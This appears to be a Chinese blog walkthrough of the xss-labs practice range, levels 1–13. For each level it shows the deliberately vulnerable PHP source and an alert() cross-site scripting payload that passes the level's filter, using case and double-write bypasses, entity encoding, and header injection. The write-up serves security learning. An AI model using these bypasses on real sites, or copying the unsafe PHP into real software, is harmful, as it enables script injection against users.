XSS基础靶场练习

目录

1. 准备靶场
2. PASS
1. Level 1:无过滤
源码:
2. level2:转HTML实体
htmlspecialchars简介:
源码
PASS
3. level3:转HTML深入
源码:
PASS
4. level4:过滤<>
源码:
PASS:
5. level5:过滤on
源码:
PASS:
6. level6:大小写绕过
源码:
PASS:
7. level7:双写绕过
源码:
PASS:
8. level8:Unicode编码
源码:
PASS:
9. level9:http://
源码:
PASS:
10. level10:type属性
源码:
PASS:
11. level11:Referer
源码:
PASS:
12. level12:User-Agent
源码:
PASS:
13. level13:Cookie
源码:
PASS:

1. 准备靶场

xss-labs-all

这是一个很简单的xss入门级靶场

2. PASS

1. Level 1:无过滤

这一关很简单,因为它没有做任何过滤,虽然很简单,但是在实际中确实很容易出现。

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level2.php?keyword=test"; }</script><title>欢迎来到level1</title></head><body><h1 align=center>欢迎来到level1</h1><?php ini_set("display_errors", 0);$str = $_GET["name"];echo "<h2 align=center>欢迎用户".$str."</h2>";?><center><img src=level1.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>​
PASS:<script>alert(1)</script>

PA


SS:

由于没有做任何过滤,所以使用什么标签都可以passaimgsvg等都行。如下:

<script>alert(1)</script>

 <img src=1 onerror=alert(1)>

 <svg/onload=alert(1)>

2. level2:转HTML实体

这一关使用了htmlspecialchars函数,把特殊字符转换为HTML实体,也就是说<>会被转换,我们知道,javascript:协议一旦被编码就不能识别,不能识别就不能触发事件。

htmlspecialchars简介:

htmlspecialchars 函数会将特殊字符转换为 HTML 实体,以防止跨站脚本攻击(XSS)并确保这些字符在 HTML 中正确显示。具体来说,它会转换以下字符:

  • & 转换为 &amp;

  • < 转换为 &lt;

  • > 转换为 &gt;

  • " 转换为 &quot;

  • ' 转换为 &#039;(取决于使用的标志)

源码

 <!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level3.php?writing=wait"; }</script><title>欢迎来到level2</title></head><body><h1 align=center>欢迎来到level2</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level2.php method=GET><input name=keyword  value="'.$str.'"><input type=submit name=submit value="搜索"/></form></center>';?><center><img src=level2.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>

PASS

那么这一关怎么处理呢,两种办法

一、闭合"

二、闭合>,但是要注意,闭合>的时候还需要配合一下"

如下:

双引号:"

aa" onclick="alert(1)

尖括号:>

 aa"><scropt>alert(1)</script>

3. level3:转HTML深入

这一关也是使用htmlspecialchars函数,把特殊字符转换为HTML实体。

不同的是更深入一层,这里引入该函数的一些属性:

这里看出,如果它设置了对应属性的话,引号就会被转换,那我们来试一下到底转换的是哪个引号还是引号全部转换。

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level4.php?keyword=try harder!"; }</script><title>欢迎来到level3</title></head><body><h1 align=center>欢迎来到level3</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center><form action=level3.php method=GET><input name=keyword  value='".htmlspecialchars($str)."'>  <input type=submit name=submit value=搜索 /></form></center>";?><center><img src=level3.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>

PASS

尝试"

 aa" onclick="alert(1)

可以明显看到不行,这里alert都没有是识别,说明针对双引号的属性被设置了,再试一试单引号。

尝试'

 aa' onclick='alert(1)

这里成功了,那就说明,这里没有设置过滤'的属性。

除此之外,这一关还有一种做法,如下:

JavaScript中有一个函数onfocus,用于输入框input,select,a标签获得焦点的事件

所以这样构造:

 ' onfocus=javascript:alert() '

也是可以的。

4. level4:过滤<>

这一关吧,本意是不让我们闭合<>,所以其他方法就可以完成了。但是这一关折射出的问题其实是与用户的交互。对于这一关而言,需要与用户交互才会有漏洞,这样的漏洞危害性并不高。

而且仔细分析就会发现,仅使用单引号是不行的,因为它用的是"包住'了。

源码:
 <!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level5.php?keyword=find a way out!"; }</script><title>欢迎来到level4</title></head><body><h1 align=center>欢迎来到level4</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace(">","",$str);$str3=str_replace("<","",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level4.php method=GET><input name=keyword  value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level4.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";?></body></html>

PASS:

<>

 aa" onclick="alert(1)

非用户交互:

 aa"autofocus onfocus="alert(1)

5. level5:过滤on

这一关把on事件都过滤了,也就是说这里不能使用on了,而且使用strtolower函数预防大小写,那怎么办呢。

那么我们就换一个不带on但是也能达到我们目的的标签,比如a标签。

我们把POC插入带a标签的href属性中,然后点击我们设置的目标,就可以了。

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level6.php?keyword=break it out!"; }</script><title>欢迎来到level5</title></head><body><h1 align=center>欢迎来到level5</h1><?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level5.php method=GET><input name=keyword  value="'.$str3.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level5.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";?></body></html>

PASS:

 a"><a href="javascript:alert(1)">click</a>

6. level6:大小写绕过

这一关把a、img、svg、<script等进行了过滤,基本上我们在前面使用过的方法都使用不了。但是就跟SQL注入一样,这里的过滤并不包含大写,所以我们可以使用大小写绕过。

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level7.php?keyword=move up!"; }</script><title>欢迎来到level6</title></head><body><h1 align=center>欢迎来到level6</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace("<script","<scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level6.php method=GET><input name=keyword  value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level6.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";?></body></html>

PASS:

 a"><ScRiPt>alert(1)</ScRiPt>

这里只演示了一种,其实还有还几种构造语句,如下:

 脚本注入a"><SCRIPT>alert()</SCRIPT><"焦点事件a"ONDOCUS=javascript:alert()"a标签href属性的a"><a HREF=javascript:alert()>x</a><"

7. level7:双写绕过

这一关在上一关的基础上把大小写也过滤掉了,也就是说我们是真的不能使用之前用过的方法了。

那么怎么办呢? 在这一关我们可以尝试一下双写绕过,以为我们分析一下会发现,它虽然会过滤很多条件,但是仅仅是单次拦截,并不是多次,所以双写绕过是可以的

源码:
 <!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level8.php?keyword=nice try!"; }</script><title>欢迎来到level7</title></head><body><h1 align=center>欢迎来到level7</h1><?php ini_set("display_errors", 0);$str =strtolower( $_GET["keyword"]);  大小写不行$str2=str_replace("script","",$str);  script不行$str3=str_replace("on","",$str2);     需要on的标签不行$str4=str_replace("src","",$str3);    img标签不行$str5=str_replace("data","",$str4);   $str6=str_replace("href","",$str5);   a标签不行echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form action=level7.php method=GET><input name=keyword  value="'.$str6.'"><input type=submit name=submit value=搜索 /></form></center>';?><center><img src=level7.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";?></body></html>

PASS:

 a"><scrscriptipt>alert(1)</scrscriptipt>

8. level8:Unicode编码

这一关,看着过滤法则,似乎含严格,几乎把常规的手段都过滤了,什么大小写、双写、标签...都不行。怎么办?

这一关有一个友情链接那说明我们的输入的接收属性是a标签的href属性,而这个属性会自动对Unicode编码进行解码,那如果我们把POC进行Unicode编码,然后当做URL写入href,那么随着hrefUnicode的解码,我们的POC不就能够识别了吗。

这一关本质是对编码知识的考查,对编码越了解就越简单。

源码:
 <!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level9.php?keyword=not bad!"; }</script><title>欢迎来到level8</title></head><body><h1 align=center>欢迎来到level8</h1><?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','&quot',$str6);echo '<center><form action=level8.php method=GET><input name=keyword  value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情链接 /></form></center>';?><?phpecho '<center><BR><a href="'.$str7.'">友情链接</a></center>';?><center><img src=level8.jpg></center><?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";?></body></html>

PASS:

 javascript:alert()
 &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;&#10;

9. level9:http://

在上一关我们投机取巧,直接使用编码拿下POC,但是在这一关不行了,这一关加了一个硬性条件,就是必须要有http://,没有它不行。

那我们可以尝试在编码的末尾加上它。

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level10.php?keyword=well done!"; }</script><title>欢迎来到level9</title></head><body><h1 align=center>欢迎来到level9</h1><?php ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','&quot',$str6);echo '<center><form action=level9.php method=GET><input name=keyword  value="'.htmlspecialchars($str).'"><input type=submit name=submit value=添加友情链接 /></form></center>';?><?phpif(false===strpos($str7,'http://')){echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';}else{echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';}?><center><img src=level9.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";?></body></html>

PASS:

 &#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* <http://> */​或者​&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:alert('http://')

10. level10:type属性

这一关把input标签隐藏掉了,虽然可以使用GET型输入把POC传进去,但是触发不了,所以要想办法把input标签拿出来才行

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level11.php?keyword=good job!"; }</script><title>欢迎来到level10</title></head><body><h1 align=center>欢迎来到level10</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str11 = $_GET["t_sort"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level10.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>

PASS:

 t_sort=a" onclick=alert(1) type="text"

通过改变type属性的方法,把input标签拿出来。

11. level11:Referer

这一关在上一关的基础上加上了一个过滤,所以直接使用上一关的方法是不行的。还要配合其他方法。

这里就引入Referer这个属性了,在html里它表示用户的来源。

这里建议使用Firefox浏览器来做,它的一个插件HackBar很适合做这一关。

源码:

 <!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level12.php?keyword=good job!"; }</script><title>欢迎来到level11</title></head><body><h1 align=center>欢迎来到level11</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_REFERER'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ref"  value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level11.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>

PASS:

 a" onclick=alert(1) type="text"

12. level12:User-Agent

这一关就是修改User-Agent属性。跟上一关的原理一样。

源码:
<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level13.php?keyword=good job!"; }</script><title>欢迎来到level12</title></head><body><h1 align=center>欢迎来到level12</h1><?php ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_USER_AGENT'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_ua"  value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level12.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>

PASS:

 a" onclick=alert(1) type="text"

13. level13:Cookie

同理,利用Cookie。

源码:

<!DOCTYPE html><!--STATUS OK--><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!");window.location.href="level14.php"; }</script><title>欢迎来到level13</title></head><body><h1 align=center>欢迎来到level13</h1><?php setcookie("user", "call me maybe?", time()+3600);ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_COOKIE["user"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center><form id=search><input name="t_link"  value="'.'" type="hidden"><input name="t_history"  value="'.'" type="hidden"><input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden"><input name="t_cook"  value="'.$str33.'" type="hidden"></form></center>';?><center><img src=level13.png></center><?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";?></body></html>

PASS:

 user=a" onclick=alert(1) type="text"

这个靶场后面还有机关,但是涉及的技术是flash,已经被淘汰了,所以就做到这里吧。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/898739.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025年3月AI搜索发展动态与趋势分析:从技术革新到生态重构

025年3月AI搜索发展动态与趋势分析&#xff1a;从技术革新到生态重构 一、行业动态&#xff1a;巨头布局与技术升级 谷歌推出“AI模式”&#xff0c;重新定义搜索体验 谷歌上线全新“AI模式”&#xff0c;集成多模态交互与实时数据能力&#xff0c;用户可通过文本、图片或语音…

熔断降级(Sentinel解决)

问题概述 在微服务架构中一定要预防微服务雪崩问题&#xff0c;微服务雪崩问题就是指在微服务架构中&#xff0c;当一个服务出现故障时&#xff0c;由于服务之间的依赖关系&#xff0c;故障可能会传播到其他服务&#xff0c;从而导致了大规模的服务失败&#xff0c;系统无法正…

Qt高分屏自适应

一.设置默认 DPI 感知 Windows 上的桌面应用程序可以在不同的 DPI 感知模式下运行。 这些模式可实现不同的 DPI 缩放行为,并且可以使用不同的坐标空间。 有关 DPI 感知的详细信息,请参阅在 Windows 上开发高 DPI 桌面应用程序。 请务必显式为进程设置默认 DPI 感知模式,以避…

TPCTF 2025 web 复现

文章目录 baby layoutsafe layoutSafe Layout Revengesupersqli baby layout 在index.js文件中&#xff0c;看到了有使用DOMPurify库来防止XSS操作 在package.json里可以看到版本是3.2.4,关于3.2.3是有绕过策略的。它会把script标签清除掉&#xff0c;去看bot可以看到flag是放…

Agent Team 多智能体系统解析

引言 在人工智能技术高速发展的今天&#xff0c;"多智能体协作系统"&#xff08;Agent Team&#xff09;正成为突破效率瓶颈的关键技术。与传统的单体AI不同&#xff0c;这种由多个专业化智能体组成的协同网络&#xff0c;通过分工协作和动态调整&#xff0c;展现出…

【前端 vue 或者麦克风,智能语音识别和播放功能】

前端 vue 或者麦克风&#xff0c;智能语音识别和播放功能 1. 终端安装 npm install recordrtc2.引入 import RecordRTC from recordrtc3.html&#xff08;根据自己业务更改&#xff09; <div class"Page"><el-form ref"mainFormRef" class&qu…

bootstrap 表格插件bootstrap table 的使用经验谈!

最近在开发一个物业管理软件&#xff0c;其中用到bootstrap 的模态框。同时需要获取表格数据。用传统的方法&#xff0c;本人不想用&#xff0c;考虑到bootstrap应该有获取表格数据的方法&#xff0c;结果发现要想实现获取表格数据功能&#xff0c;需要通过bootstrap的插件实现…

HTML 图像与多媒体元素:拓展学习边界的进度记录(一)

开篇&#xff1a;学习启程 在前端开发的广袤领域中&#xff0c;HTML 作为构建网页的基石&#xff0c;其重要性不言而喻。而 HTML 图像与多媒体元素&#xff0c;就像是为这座基石添上了绚丽的色彩与灵动的音符&#xff0c;赋予网页更加丰富的表现力和交互性。作为一名热衷于探索…

循环不变量原则——螺旋矩阵

题目&#xff1a;螺旋矩阵 本题相较于螺旋矩阵II的不同之处是&#xff1a;螺旋矩阵II的矩阵是n行n列的方阵&#xff0c;而本题的矩阵并不一定是方阵。所以在遵循循环不变量原则遍历完矩阵后&#xff0c;还会有一行或者一列没有遍历。 1、行多列少&#xff08;多一列没遍历&am…

【前端】Visual Studio Code安装配置教程:下载、汉化、常用组件、基本操作

文章目录 一、Visual Studio Code下载二、汉化三、常用组件1、Auto Rename Tag2、view-in-browser3、Live Server 四、基本操作五、感谢观看&#xff01; 一、Visual Studio Code下载 下载官网&#xff1a;https://code.visualstudio.com/ 进入官网后点击右上角的Download &…

Java对象的hashcode

在 Java 中&#xff0c;hashcode 和 equals 方法是 Object 类的两个重要方法&#xff0c;它们在处理对象比较和哈希集合&#xff08;如 HashMap、HashSet&#xff09;时起着关键作用。对于equals大部分Java程序员都不陌生&#xff0c;它通常是比较两个对象的内容(值)是否相等(双…

Ubuntu22.04通过DKMS包安装Intel WiFi系列适配器(网卡驱动)

下载驱动包 访问 backport-iwlwifi-dkmshttps://launchpad.net/ubuntu/source/backport-iwlwifi-dkms 网站&#xff0c;找到适用于Ubuntu 22.04的update版本&#xff08;如backport-iwlwifi-dkms_xxxx_all.deb&#xff09;&#xff0c;下载至本地。 安装驱动 在下载目录中执行以…

深度学习--概率

1 基本概率论 1.1 假设我们掷骰子&#xff0c;想知道1而不是看到另一个数字的概率&#xff0c;如果骰子是公司&#xff0c;那么所有6个结果(1..6),都有相同的可能发生&#xff0c;因此&#xff0c;我们可以说1发生的概率为1/6. 然而现实生活中&#xff0c;对于我们从工厂收到的…

kaggle上经典泰坦尼克项目数据分析探索

之前了解在kaggle上这个项目很火&#xff0c;最近想要加强一下python数据分析&#xff0c;所以在kaggle上找到这个项目进行学习探索&#xff0c;下面是将一些学习资料以及过程整理出来。 一、首先我们了解一下项目背景以及如何找到这个项目。 kaggle项目地址: https://www.k…

《深度剖析:鸿蒙系统不同终端设备的UI自适应布局策略》

在万物互联的时代&#xff0c;鸿蒙系统以其独特的分布式理念和强大的技术架构&#xff0c;迅速在智能终端领域崭露头角。随着鸿蒙生态的不断壮大&#xff0c;越来越多的开发者投身其中&#xff0c;致力于为用户打造丰富多样的应用体验。然而&#xff0c;如何让应用在不同终端设…

计算机网络的软件、硬件和组成

&#xff11;.计算机网络的组成 计算机网络是一个十分复杂的系统&#xff0c;在逻辑上可以分为完成数据通信的通信子网和进行数据处理的资源子网两个部分。 通信子网 通信子网提供网络通信的功能&#xff0c;可以完成网络主机之间的数据传输、交换、通信控制和信号变换等通信…

告别低效人工统计!自动计算计划进度

实时监控任务进度一直是项目管理中的一项巨大挑战。 人工统计方式不仅耗时耗力&#xff0c;而且往往由于信息传递的延迟和人为误差&#xff0c;导致无法实时获得准确的项目进展信息。 这种不准确性可能掩盖潜在的风险点&#xff0c;从而影响项目的整体进度和成果。 Ganttable …

楼宇自控系统的结构密码:总线与分布式结构方式的差异与应用

在现代建筑中&#xff0c;为了实现高效、智能的管理&#xff0c;楼宇自控系统变得越来越重要。它就像建筑的 智能管家&#xff0c;可自动控制照明、空调、通风等各种机电设备&#xff0c;让建筑运行更顺畅&#xff0c;还能节省能源成本。而在楼宇自控系统里&#xff0c;有两种关…

OpenWrt开发第4篇:设置开发板的IP-基于Raspberry Pi 4B开发板

文/指尖动听知识库-谷谷 文章为付费内容,商业行为,禁止私自转载及抄袭,违者必究!!! 文章专栏:Openwrt开发-基于Raspberry Pi 4B开发板 有时候开发过程中经常会使用其他路由器,很多时候固件烧上去之后板子IP基本都是192.168.1.1,这时就需要修改板子的IP,下面介绍一下板…

Node.js系列(4)--微服务架构实践

Node.js微服务架构实践 &#x1f504; 引言 微服务架构已成为构建大规模Node.js应用的主流选择。本文将深入探讨Node.js微服务架构的设计与实现&#xff0c;包括服务拆分、服务治理、通信机制等方面&#xff0c;帮助开发者构建可扩展的微服务系统。 微服务架构概述 Node.js…